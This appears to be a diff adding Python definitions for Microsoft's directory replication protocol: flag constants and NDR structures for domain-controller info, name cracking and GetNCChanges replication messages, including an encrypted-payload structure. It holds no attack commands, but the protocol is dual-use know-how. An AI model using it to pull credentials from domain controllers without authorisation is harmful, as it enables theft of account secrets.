+# 5.39 DRS_EXTENSIONS_INT
+DRS_EXT_BASE = 0x00000001
+DRS_EXT_ASYNCREPL = 0x00000002
+DRS_EXT_REMOVEAPI = 0x00000004
+DRS_EXT_MOVEREQ_V2 = 0x00000008
+DRS_EXT_GETCHG_DEFLATE = 0x00000010
+DRS_EXT_DCINFO_V1 = 0x00000020
+DRS_EXT_RESTORE_USN_OPTIMIZATION = 0x00000040
+DRS_EXT_ADDENTRY = 0x00000080
+DRS_EXT_KCC_EXECUTE = 0x00000100
+DRS_EXT_ADDENTRY_V2 = 0x00000200
+DRS_EXT_LINKED_VALUE_REPLICATION = 0x00000400
+DRS_EXT_DCINFO_V2 = 0x00000800
+DRS_EXT_INSTANCE_TYPE_NOT_REQ_ON_MOD = 0x00001000
+DRS_EXT_CRYPTO_BIND = 0x00002000
+DRS_EXT_GET_REPL_INFO = 0x00004000
+DRS_EXT_STRONG_ENCRYPTION = 0x00008000
+DRS_EXT_DCINFO_VFFFFFFFF = 0x00010000
+DRS_EXT_TRANSITIVE_MEMBERSHIP = 0x00020000
+DRS_EXT_ADD_SID_HISTORY = 0x00040000
+DRS_EXT_POST_BETA3 = 0x00080000
+DRS_EXT_GETCHGREQ_V5 = 0x00100000
+DRS_EXT_GETMEMBERSHIPS2 = 0x00200000
+DRS_EXT_GETCHGREQ_V6 = 0x00400000
+DRS_EXT_NONDOMAIN_NCS = 0x00800000
+DRS_EXT_GETCHGREQ_V8 = 0x01000000
+DRS_EXT_GETCHGREPLY_V5 = 0x02000000
+DRS_EXT_GETCHGREPLY_V6 = 0x04000000
+DRS_EXT_GETCHGREPLY_V9 = 0x00000100
+DRS_EXT_WHISTLER_BETA3 = 0x08000000
+DRS_EXT_W2K3_DEFLATE = 0x10000000
+DRS_EXT_GETCHGREQ_V10 = 0x20000000
+DRS_EXT_RESERVED_FOR_WIN2K_OR_DOTNET_PART2 = 0x40000000
+DRS_EXT_RESERVED_FOR_WIN2K_OR_DOTNET_PART3 = 0x80000000
+
+# dwFlagsExt
+DRS_EXT_ADAM = 0x00000001
+DRS_EXT_LH_BETA2 = 0x00000002
+DRS_EXT_RECYCLE_BIN = 0x00000004
+
+# 5.41 DRS_OPTIONS
+DRS_ASYNC_OP = 0x00000001
+DRS_GETCHG_CHECK = 0x00000002
+DRS_UPDATE_NOTIFICATION = 0x00000002
+DRS_ADD_REF = 0x00000004
+DRS_SYNC_ALL = 0x00000008
+DRS_DEL_REF = 0x00000008
+DRS_WRIT_REP = 0x00000010
+DRS_INIT_SYNC = 0x00000020
+DRS_PER_SYNC = 0x00000040
+DRS_MAIL_REP = 0x00000080
+DRS_ASYNC_REP = 0x00000100
+DRS_IGNORE_ERROR = 0x00000100
+DRS_TWOWAY_SYNC = 0x00000200
+DRS_CRITICAL_ONLY = 0x00000400
+DRS_GET_ANC = 0x00000800
+DRS_GET_NC_SIZE = 0x00001000
+DRS_LOCAL_ONLY = 0x00001000
+DRS_NONGC_RO_REP = 0x00002000
+DRS_SYNC_BYNAME = 0x00004000
+DRS_REF_OK = 0x00004000
+DRS_FULL_SYNC_NOW = 0x00008000
+DRS_NO_SOURCE = 0x00008000
+DRS_FULL_SYNC_IN_PROGRESS = 0x00010000
+DRS_FULL_SYNC_PACKET = 0x00020000
+DRS_SYNC_REQUEUE = 0x00040000
+DRS_SYNC_URGENT = 0x00080000
+DRS_REF_GCSPN = 0x00100000
+DRS_NO_DISCARD = 0x00100000
+DRS_NEVER_SYNCED = 0x00200000
+DRS_SPECIAL_SECRET_PROCESSING = 0x00400000
+DRS_INIT_SYNC_NOW = 0x00800000
+DRS_PREEMPTED = 0x01000000
+DRS_SYNC_FORCED = 0x02000000
+DRS_DISABLE_AUTO_SYNC = 0x04000000
+DRS_DISABLE_PERIODIC_SYNC = 0x08000000
+DRS_USE_COMPRESSION = 0x10000000
+DRS_NEVER_NOTIFY = 0x20000000
+DRS_SYNC_PAS = 0x40000000
+DRS_GET_ALL_GROUP_MEMBERSHIP = 0x80000000
+
+
+# 5.113 LDAP_CONN_PROPERTIES
+BND = 0x00000001
+SSL = 0x00000002
+UDP = 0x00000004
+GC = 0x00000008
+GSS = 0x00000010
+NGO = 0x00000020
+SPL = 0x00000040
+MD5 = 0x00000080
+SGN = 0x00000100
+SL = 0x00000200
+
+# 5.137 NTSAPI_CLIENT_GUID
+NTDSAPI_CLIENT_GUID = string_to_bin('e24d201a-4fd6-11d1-a3da-0000f875ae0d')
+
+# 5.139 NULLGUID
+NULLGUID = string_to_bin('00000000-0000-0000-0000-000000000000')
+
+# 5.205 USN
+USN = LONGLONG
+
+# 4.1.4.1.2 DRS_MSG_CRACKREQ_V1
+DS_NAME_FLAG_GCVERIFY = 0x00000004
+DS_NAME_FLAG_TRUST_REFERRAL = 0x00000008
+DS_NAME_FLAG_PRIVATE_RESOLVE_FPOS = 0x80000000
+
+DS_LIST_SITES = 0xFFFFFFFF
+DS_LIST_SERVERS_IN_SITE = 0xFFFFFFFE
+DS_LIST_DOMAINS_IN_SITE = 0xFFFFFFFD
+DS_LIST_SERVERS_FOR_DOMAIN_IN_SITE = 0xFFFFFFFC
+DS_LIST_INFO_FOR_SERVER = 0xFFFFFFFB
+DS_LIST_ROLES = 0xFFFFFFFA
+DS_NT4_ACCOUNT_NAME_SANS_DOMAIN = 0xFFFFFFF9
+DS_MAP_SCHEMA_GUID = 0xFFFFFFF8
+DS_LIST_DOMAINS = 0xFFFFFFF7
+DS_LIST_NCS = 0xFFFFFFF6
+DS_ALT_SECURITY_IDENTITIES_NAME = 0xFFFFFFF5
+DS_STRING_SID_NAME = 0xFFFFFFF4
+DS_LIST_SERVERS_WITH_DCS_IN_SITE = 0xFFFFFFF3
+DS_LIST_GLOBAL_CATALOG_SERVERS = 0xFFFFFFF1
+DS_NT4_ACCOUNT_NAME_SANS_DOMAIN_EX = 0xFFFFFFF0
+DS_USER_PRINCIPAL_NAME_AND_ALTSECID = 0xFFFFFFEF
+
+DS_USER_PRINCIPAL_NAME_FOR_LOGON = 0xFFFFFFF2
+
+# 5.53 ENTINF
+ENTINF_FROM_MASTER = 0x00000001
+ENTINF_DYNAMIC_OBJECT = 0x00000002
+ENTINF_REMOTE_MODIFY = 0x00010000
+
+# 4.1.27.1.2 DRS_MSG_VERIFYREQ_V1
+DRS_VERIFY_DSNAMES = 0x00000000
+DRS_VERIFY_SIDS = 0x00000001
+DRS_VERIFY_SAM_ACCOUNT_NAMES = 0x00000002
+DRS_VERIFY_FPOS = 0x00000003
+
+# 4.1.11.1.2 DRS_MSG_NT4_CHGLOG_REQ_V1
+DRS_NT4_CHGLOG_GET_CHANGE_LOG = 0x00000001
+DRS_NT4_CHGLOG_GET_SERIAL_NUMBERS = 0x00000002
+
+# 4.1.10.2.15 DRS_MSG_GETCHGREPLY_NATIVE_VERSION_NUMBER
+DRS_MSG_GETCHGREPLY_NATIVE_VERSION_NUMBER = 9
+################################################################################
+# STRUCTURES
+################################################################################
+# 4.1.10.2.16 ENCRYPTED_PAYLOAD
+class ENCRYPTED_PAYLOAD(Structure):
+    structure = (
+        ('Salt','16s'),
+        ('CheckSum','<L'),
+        ('EncryptedData',':'),
+    )
+
+# 5.136 NT4SID
+class NT4SID(NDRSTRUCT):
+    structure =  (
+        ('Data','28s=b""'),
+    )
+    def getAlignment(self):
+        return 4
+
+# 5.40 DRS_HANDLE
+class DRS_HANDLE(NDRSTRUCT):
+    structure =  (
+        ('Data','20s=b""'),
+    )
+    def getAlignment(self):
+        return 4
+
+class PDRS_HANDLE(NDRPOINTER):
+    referent = (
+        ('Data',DRS_HANDLE),
+    )
+
+# 5.38 DRS_EXTENSIONS
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+class PBYTE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',BYTE_ARRAY),
+    )
+
+class DRS_EXTENSIONS(NDRSTRUCT):
+    structure =  (
+        ('cb',DWORD),
+        ('rgb',BYTE_ARRAY),
+    )
+
+class PDRS_EXTENSIONS(NDRPOINTER):
+    referent = (
+        ('Data',DRS_EXTENSIONS),
+    )
+
+# 5.39 DRS_EXTENSIONS_INT
+class DRS_EXTENSIONS_INT(Structure):
+    structure =  (
+        ('dwFlags','<L=0'),
+        ('SiteObjGuid','16s=b""'),
+        ('Pid','<L=0'),
+        ('dwReplEpoch','<L=0'),
+        ('dwFlagsExt','<L=0'),
+        ('ConfigObjGUID','16s=b""'),
+        ('dwExtCaps','<L=0'),
+    )
+
+# 4.1.5.1.2 DRS_MSG_DCINFOREQ_V1
+class DRS_MSG_DCINFOREQ_V1(NDRSTRUCT):
+    structure =  (
+        ('Domain',LPWSTR),
+        ('InfoLevel',DWORD),
+    )
+
+# 4.1.5.1.1 DRS_MSG_DCINFOREQ
+class DRS_MSG_DCINFOREQ(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_DCINFOREQ_V1),
+    }
+
+# 4.1.5.1.8 DS_DOMAIN_CONTROLLER_INFO_1W
+class DS_DOMAIN_CONTROLLER_INFO_1W(NDRSTRUCT):
+    structure =  (
+        ('NetbiosName',LPWSTR),
+        ('DnsHostName',LPWSTR),
+        ('SiteName',LPWSTR),
+        ('ComputerObjectName',LPWSTR),
+        ('ServerObjectName',LPWSTR),
+        ('fIsPdc',BOOL),
+        ('fDsEnabled',BOOL),
+    )
+
+class DS_DOMAIN_CONTROLLER_INFO_1W_ARRAY(NDRUniConformantArray):
+    item = DS_DOMAIN_CONTROLLER_INFO_1W
+
+class PDS_DOMAIN_CONTROLLER_INFO_1W_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DS_DOMAIN_CONTROLLER_INFO_1W_ARRAY),
+    )
+
+# 4.1.5.1.4 DRS_MSG_DCINFOREPLY_V1
+class DRS_MSG_DCINFOREPLY_V1(NDRSTRUCT):
+    structure =  (
+        ('cItems',DWORD),
+        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_1W_ARRAY),
+    )
+
+# 4.1.5.1.9 DS_DOMAIN_CONTROLLER_INFO_2W
+class DS_DOMAIN_CONTROLLER_INFO_2W(NDRSTRUCT):
+    structure =  (
+        ('NetbiosName',LPWSTR),
+        ('DnsHostName',LPWSTR),
+        ('SiteName',LPWSTR),
+        ('SiteObjectName',LPWSTR),
+        ('ComputerObjectName',LPWSTR),
+        ('ServerObjectName',LPWSTR),
+        ('NtdsDsaObjectName',LPWSTR),
+        ('fIsPdc',BOOL),
+        ('fDsEnabled',BOOL),
+        ('fIsGc',BOOL),
+        ('SiteObjectGuid',GUID),
+        ('ComputerObjectGuid',GUID),
+        ('ServerObjectGuid',GUID),
+        ('NtdsDsaObjectGuid',GUID),
+    )
+
+class DS_DOMAIN_CONTROLLER_INFO_2W_ARRAY(NDRUniConformantArray):
+    item = DS_DOMAIN_CONTROLLER_INFO_2W
+
+class PDS_DOMAIN_CONTROLLER_INFO_2W_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DS_DOMAIN_CONTROLLER_INFO_2W_ARRAY),
+    )
+
+# 4.1.5.1.5 DRS_MSG_DCINFOREPLY_V2
+class DRS_MSG_DCINFOREPLY_V2(NDRSTRUCT):
+    structure =  (
+        ('cItems',DWORD),
+        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_2W_ARRAY),
+    )
+
+# 4.1.5.1.10 DS_DOMAIN_CONTROLLER_INFO_3W
+class DS_DOMAIN_CONTROLLER_INFO_3W(NDRSTRUCT):
+    structure =  (
+        ('NetbiosName',LPWSTR),
+        ('DnsHostName',LPWSTR),
+        ('SiteName',LPWSTR),
+        ('SiteObjectName',LPWSTR),
+        ('ComputerObjectName',LPWSTR),
+        ('ServerObjectName',LPWSTR),
+        ('NtdsDsaObjectName',LPWSTR),
+        ('fIsPdc',BOOL),
+        ('fDsEnabled',BOOL),
+        ('fIsGc',BOOL),
+        ('fIsRodc',BOOL),
+        ('SiteObjectGuid',GUID),
+        ('ComputerObjectGuid',GUID),
+        ('ServerObjectGuid',GUID),
+        ('NtdsDsaObjectGuid',GUID),
+    )
+
+class DS_DOMAIN_CONTROLLER_INFO_3W_ARRAY(NDRUniConformantArray):
+    item = DS_DOMAIN_CONTROLLER_INFO_3W
+
+class PDS_DOMAIN_CONTROLLER_INFO_3W_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DS_DOMAIN_CONTROLLER_INFO_3W_ARRAY),
+    )
+
+# 4.1.5.1.6 DRS_MSG_DCINFOREPLY_V3
+class DRS_MSG_DCINFOREPLY_V3(NDRSTRUCT):
+    structure =  (
+        ('cItems',DWORD),
+        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_3W_ARRAY),
+    )
+
+# 4.1.5.1.11 DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW
+class DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW(NDRSTRUCT):
+    structure =  (
+        ('IPAddress',DWORD),
+        ('NotificationCount',DWORD),
+        ('secTimeConnected',DWORD),
+        ('Flags',DWORD),
+        ('TotalRequests',DWORD),
+        ('Reserved1',DWORD),
+        ('UserName',LPWSTR),
+    )
+
+class DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY(NDRUniConformantArray):
+    item = DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW
+
+class PDS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY),
+    )
+
+# 4.1.5.1.7 DRS_MSG_DCINFOREPLY_VFFFFFFFF
+class DRS_MSG_DCINFOREPLY_VFFFFFFFF(NDRSTRUCT):
+    structure =  (
+        ('cItems',DWORD),
+        ('rItems',PDS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW_ARRAY),
+    )
+
+# 4.1.5.1.3 DRS_MSG_DCINFOREPLY
+class DRS_MSG_DCINFOREPLY(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_DCINFOREPLY_V1),
+        2  : ('V2', DRS_MSG_DCINFOREPLY_V2),
+        3  : ('V3', DRS_MSG_DCINFOREPLY_V3),
+        0xffffffff  : ('V1', DRS_MSG_DCINFOREPLY_VFFFFFFFF),
+    }
+
+# 4.1.4.1.2 DRS_MSG_CRACKREQ_V1
+class LPWSTR_ARRAY(NDRUniConformantArray):
+    item = LPWSTR
+
+class PLPWSTR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',LPWSTR_ARRAY),
+    )
+
+class DRS_MSG_CRACKREQ_V1(NDRSTRUCT):
+    structure =  (
+        ('CodePage',ULONG),
+        ('LocaleId',ULONG),
+        ('dwFlags',DWORD),
+        ('formatOffered',DWORD),
+        ('formatDesired',DWORD),
+        ('cNames',DWORD),
+        ('rpNames',PLPWSTR_ARRAY),
+    )
+
+# 4.1.4.1.1 DRS_MSG_CRACKREQ
+class DRS_MSG_CRACKREQ(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_CRACKREQ_V1),
+    }
+
+# 4.1.4.1.3 DS_NAME_FORMAT
+class DS_NAME_FORMAT(NDRENUM):
+    class enumItems(Enum):
+        DS_UNKNOWN_NAME            = 0
+        DS_FQDN_1779_NAME          = 1
+        DS_NT4_ACCOUNT_NAME        = 2
+        DS_DISPLAY_NAME            = 3
+        DS_UNIQUE_ID_NAME          = 6
+        DS_CANONICAL_NAME          = 7
+        DS_USER_PRINCIPAL_NAME     = 8
+        DS_CANONICAL_NAME_EX       = 9
+        DS_SERVICE_PRINCIPAL_NAME  = 10
+        DS_SID_OR_SID_HISTORY_NAME = 11
+        DS_DNS_DOMAIN_NAME         = 12
+
+# 4.1.4.1.4 DS_NAME_RESULT_ITEMW
+class DS_NAME_RESULT_ITEMW(NDRSTRUCT):
+    structure =  (
+        ('status',DWORD),
+        ('pDomain',LPWSTR),
+        ('pName',LPWSTR),
+    )
+
+class DS_NAME_RESULT_ITEMW_ARRAY(NDRUniConformantArray):
+    item = DS_NAME_RESULT_ITEMW
+
+class PDS_NAME_RESULT_ITEMW_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',DS_NAME_RESULT_ITEMW_ARRAY),
+    )
+
+# 4.1.4.1.5 DS_NAME_RESULTW
+class DS_NAME_RESULTW(NDRSTRUCT):
+    structure =  (
+        ('cItems',DWORD),
+        ('rItems',PDS_NAME_RESULT_ITEMW_ARRAY),
+    )
+
+class PDS_NAME_RESULTW(NDRPOINTER):
+    referent = (
+        ('Data',DS_NAME_RESULTW),
+    )
+
+# 4.1.4.1.7 DRS_MSG_CRACKREPLY_V1
+class DRS_MSG_CRACKREPLY_V1(NDRSTRUCT):
+    structure =  (
+        ('pResult',PDS_NAME_RESULTW),
+    )
+
+# 4.1.4.1.6 DRS_MSG_CRACKREPLY
+class DRS_MSG_CRACKREPLY(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_CRACKREPLY_V1),
+    }
+
+# 5.198 UPTODATE_CURSOR_V1
+class UPTODATE_CURSOR_V1(NDRSTRUCT):
+    structure =  (
+        ('uuidDsa',UUID),
+        ('usnHighPropUpdate',USN),
+    )
+
+class UPTODATE_CURSOR_V1_ARRAY(NDRUniConformantArray):
+    item = UPTODATE_CURSOR_V1
+
+# 5.200 UPTODATE_VECTOR_V1_EXT
+class UPTODATE_VECTOR_V1_EXT(NDRSTRUCT):
+    structure =  (
+        ('dwVersion',DWORD),
+        ('dwReserved1',DWORD),
+        ('cNumCursors',DWORD),
+        ('dwReserved2',DWORD),
+        ('rgCursors',UPTODATE_CURSOR_V1_ARRAY),
+    )
+
+class PUPTODATE_VECTOR_V1_EXT(NDRPOINTER):
+    referent = (
+        ('Data',UPTODATE_VECTOR_V1_EXT),
+    )
+
+# 5.206 USN_VECTOR
+class USN_VECTOR(NDRSTRUCT):
+    structure =  (
+        ('usnHighObjUpdate',USN),
+        ('usnReserved',USN),
+        ('usnHighPropUpdate',USN),
+    )
+
+# 5.50 DSNAME
+class WCHAR_ARRAY(NDRUniConformantArray):
+    item  = 'H'
+
+    def __setitem__(self, key, value):
+        self.fields['MaximumCount'] = None
+        self.data = None        # force recompute
+        return NDRUniConformantArray.__setitem__(self, key, [ord(c) for c in value])
+
+    def __getitem__(self, key):
+        if key == 'Data':
+            try:
+                return ''.join([six.unichr(i) for i in self.fields[key]])
+            except ValueError as e:
+                LOG.debug("ValueError Exception", exc_info=True)
+                LOG.error(str(e))
+        else:
+            return NDR.__getitem__(self,key)
+
+class DSNAME(NDRSTRUCT):
+    structure =  (
+        ('structLen',ULONG),
+        ('SidLen',ULONG),
+        ('Guid',GUID),
+        ('Sid',NT4SID),
+        ('NameLen',ULONG),
+        ('StringName', WCHAR_ARRAY),
+    )
+    def getDataLen(self, data, offset=0):
+        return self['NameLen']
+    def getData(self, soFar = 0):
+        return NDRSTRUCT.getData(self, soFar)
+
+class PDSNAME(NDRPOINTER):
+    referent = (
+        ('Data',DSNAME),
+    )
+
+class PDSNAME_ARRAY(NDRUniConformantArray):
+    item = PDSNAME
+
+class PPDSNAME_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',PDSNAME_ARRAY),
+    )
+
+class ATTRTYP_ARRAY(NDRUniConformantArray):
+    item = ATTRTYP
+
+# 5.145 PARTIAL_ATTR_VECTOR_V1_EXT
+class PARTIAL_ATTR_VECTOR_V1_EXT(NDRSTRUCT):
+    structure =  (
+        ('dwVersion',DWORD),
+        ('dwReserved1',DWORD),
+        ('cAttrs',DWORD),
+        ('rgPartialAttr',ATTRTYP_ARRAY),
+    )
+
+class PPARTIAL_ATTR_VECTOR_V1_EXT(NDRPOINTER):
+    referent = (
+        ('Data',PARTIAL_ATTR_VECTOR_V1_EXT),
+    )
+
+# 5.142 OID_t
+class OID_t(NDRSTRUCT):
+    structure =  (
+        ('length',ULONG),
+        ('elements',PBYTE_ARRAY),
+    )
+
+# 5.153 PrefixTableEntry
+class PrefixTableEntry(NDRSTRUCT):
+    structure =  (
+        ('ndx',ULONG),
+        ('prefix',OID_t),
+    )
+
+class PrefixTableEntry_ARRAY(NDRUniConformantArray):
+    item = PrefixTableEntry
+
+class PPrefixTableEntry_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',PrefixTableEntry_ARRAY),
+    )
+
+# 5.177 SCHEMA_PREFIX_TABLE
+class SCHEMA_PREFIX_TABLE(NDRSTRUCT):
+    structure =  (
+        ('PrefixCount',DWORD),
+        ('pPrefixEntry',PPrefixTableEntry_ARRAY),
+    )
+
+# 4.1.10.2.2 DRS_MSG_GETCHGREQ_V3
+class DRS_MSG_GETCHGREQ_V3(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjDest',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('pUpToDateVecDestV1',PUPTODATE_VECTOR_V1_EXT),
+        ('pPartialAttrVecDestV1',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),
+        ('ulFlags',ULONG),
+        ('cMaxObjects',ULONG),
+        ('cMaxBytes',ULONG),
+        ('ulExtendedOp',ULONG),
+    )
+
+# 5.131 MTX_ADDR
+class MTX_ADDR(NDRSTRUCT):
+    structure =  (
+        ('mtx_namelen',ULONG),
+        ('mtx_name',PBYTE_ARRAY),
+    )
+
+class PMTX_ADDR(NDRPOINTER):
+    referent = (
+        ('Data',MTX_ADDR),
+    )
+
+# 4.1.10.2.3 DRS_MSG_GETCHGREQ_V4
+class DRS_MSG_GETCHGREQ_V4(NDRSTRUCT):
+    structure =  (
+        ('uuidTransportObj',UUID),
+        ('pmtxReturnAddress',PMTX_ADDR),
+        ('V3',DRS_MSG_GETCHGREQ_V3),
+    )
+
+# 4.1.10.2.4 DRS_MSG_GETCHGREQ_V5
+class DRS_MSG_GETCHGREQ_V5(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjDest',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('pUpToDateVecDestV1',PUPTODATE_VECTOR_V1_EXT),
+        ('ulFlags',ULONG),
+        ('cMaxObjects',ULONG),
+        ('cMaxBytes',ULONG),
+        ('ulExtendedOp',ULONG),
+        ('liFsmoInfo',ULARGE_INTEGER),
+    )
+
+# 4.1.10.2.5 DRS_MSG_GETCHGREQ_V7
+class DRS_MSG_GETCHGREQ_V7(NDRSTRUCT):
+    structure =  (
+        ('uuidTransportObj',UUID),
+        ('pmtxReturnAddress',PMTX_ADDR),
+        ('V3',DRS_MSG_GETCHGREQ_V3),
+        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),
+    )
+
+# 4.1.10.2.6 DRS_MSG_GETCHGREQ_V8
+class DRS_MSG_GETCHGREQ_V8(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjDest',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('pUpToDateVecDest',PUPTODATE_VECTOR_V1_EXT),
+        ('ulFlags',ULONG),
+        ('cMaxObjects',ULONG),
+        ('cMaxBytes',ULONG),
+        ('ulExtendedOp',ULONG),
+        ('liFsmoInfo',ULARGE_INTEGER),
+        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),
+    )
+
+# 4.1.10.2.7 DRS_MSG_GETCHGREQ_V10
+class DRS_MSG_GETCHGREQ_V10(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjDest',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('pUpToDateVecDest',PUPTODATE_VECTOR_V1_EXT),
+        ('ulFlags',ULONG),
+        ('cMaxObjects',ULONG),
+        ('cMaxBytes',ULONG),
+        ('ulExtendedOp',ULONG),
+        ('liFsmoInfo',ULARGE_INTEGER),
+        ('pPartialAttrSet',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('pPartialAttrSetEx1',PPARTIAL_ATTR_VECTOR_V1_EXT),
+        ('PrefixTableDest',SCHEMA_PREFIX_TABLE),
+        ('ulMoreFlags',ULONG),
+    )
+
+# 4.1.10.2.1 DRS_MSG_GETCHGREQ
+class DRS_MSG_GETCHGREQ(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        4  : ('V4', DRS_MSG_GETCHGREQ_V4),
+        5  : ('V5', DRS_MSG_GETCHGREQ_V5),
+        7  : ('V7', DRS_MSG_GETCHGREQ_V7),
+        8  : ('V8', DRS_MSG_GETCHGREQ_V8),
+        10 : ('V10', DRS_MSG_GETCHGREQ_V10),
+    }
+
+# 5.16 ATTRVAL
+class ATTRVAL(NDRSTRUCT):
+    structure =  (
+        ('valLen',ULONG),
+        ('pVal',PBYTE_ARRAY),
+    )
+
+class ATTRVAL_ARRAY(NDRUniConformantArray):
+    item = ATTRVAL
+
+class PATTRVAL_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',ATTRVAL_ARRAY),
+    )
+
+# 5.17 ATTRVALBLOCK
+class ATTRVALBLOCK(NDRSTRUCT):
+    structure =  (
+        ('valCount',ULONG),
+        ('pAVal',PATTRVAL_ARRAY),
+    )
+
+# 5.9 ATTR
+class ATTR(NDRSTRUCT):
+    structure =  (
+        ('attrTyp',ATTRTYP),
+        ('AttrVal',ATTRVALBLOCK),
+    )
+
+class ATTR_ARRAY(NDRUniConformantArray):
+    item = ATTR
+
+class PATTR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',ATTR_ARRAY),
+    )
+
+# 5.10 ATTRBLOCK
+class ATTRBLOCK(NDRSTRUCT):
+    structure =  (
+        ('attrCount',ULONG),
+        ('pAttr',PATTR_ARRAY),
+    )
+
+# 5.53 ENTINF
+class ENTINF(NDRSTRUCT):
+    structure =  (
+        ('pName',PDSNAME),
+        ('ulFlags',ULONG),
+        ('AttrBlock',ATTRBLOCK),
+    )
+
+class ENTINF_ARRAY(NDRUniConformantArray):
+    item = ENTINF
+
+class PENTINF_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',ENTINF_ARRAY),
+    )
+
+# 5.154 PROPERTY_META_DATA_EXT
+class PROPERTY_META_DATA_EXT(NDRSTRUCT):
+    structure =  (
+        ('dwVersion',DWORD),
+        ('timeChanged',DSTIME),
+        ('uuidDsaOriginating',UUID),
+        ('usnOriginating',USN),
+    )
+
+class PROPERTY_META_DATA_EXT_ARRAY(NDRUniConformantArray):
+    item = PROPERTY_META_DATA_EXT
+
+# 5.155 PROPERTY_META_DATA_EXT_VECTOR
+class PROPERTY_META_DATA_EXT_VECTOR(NDRSTRUCT):
+    structure =  (
+        ('cNumProps',DWORD),
+        ('rgMetaData',PROPERTY_META_DATA_EXT_ARRAY),
+    )
+
+class PPROPERTY_META_DATA_EXT_VECTOR(NDRPOINTER):
+    referent = (
+        ('Data',PROPERTY_META_DATA_EXT_VECTOR),
+    )
+
+# 5.161 REPLENTINFLIST
+
+class REPLENTINFLIST(NDRSTRUCT):
+    structure =  (
+        ('pNextEntInf',NDRPOINTER),
+        ('Entinf',ENTINF),
+        ('fIsNCPrefix',BOOL),
+        ('pParentGuidm',PUUID),
+        ('pMetaDataExt',PPROPERTY_META_DATA_EXT_VECTOR),
+    )
+    # ToDo: Here we should work with getData and fromString because we're cheating with pNextEntInf
+    def fromString(self, data, soFar = 0 ):
+        # Here we're changing the struct so we can represent a linked list with NDR
+        self.fields['pNextEntInf'] = PREPLENTINFLIST(isNDR64 = self._isNDR64)
+        retVal = NDRSTRUCT.fromString(self, data, soFar)
+        return retVal
+
+class PREPLENTINFLIST(NDRPOINTER):
+    referent = (
+        ('Data',REPLENTINFLIST),
+    )
+
+# 4.1.10.2.9 DRS_MSG_GETCHGREPLY_V1
+class DRS_MSG_GETCHGREPLY_V1(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjSrc',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('usnvecTo',USN_VECTOR),
+        ('pUpToDateVecSrcV1',PUPTODATE_VECTOR_V1_EXT),
+        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),
+        ('ulExtendedRet',EXOP_ERR),
+        ('cNumObjects',ULONG),
+        ('cNumBytes',ULONG),
+        ('pObjects',PREPLENTINFLIST),
+        ('fMoreData',BOOL),
+    )
+
+# 4.1.10.2.15 DRS_COMPRESSED_BLOB
+class DRS_COMPRESSED_BLOB(NDRSTRUCT):
+    structure =  (
+        ('cbUncompressedSize',DWORD),
+        ('cbCompressedSize',DWORD),
+        ('pbCompressedData',BYTE_ARRAY),
+    )
+
+# 4.1.10.2.10 DRS_MSG_GETCHGREPLY_V2
+class DRS_MSG_GETCHGREPLY_V2(NDRSTRUCT):
+    structure =  (
+        ('CompressedV1',DRS_COMPRESSED_BLOB),
+    )
+
+# 5.199 UPTODATE_CURSOR_V2
+class UPTODATE_CURSOR_V2(NDRSTRUCT):
+    structure =  (
+        ('uuidDsa',UUID),
+        ('usnHighPropUpdate',USN),
+        ('timeLastSyncSuccess',DSTIME),
+    )
+
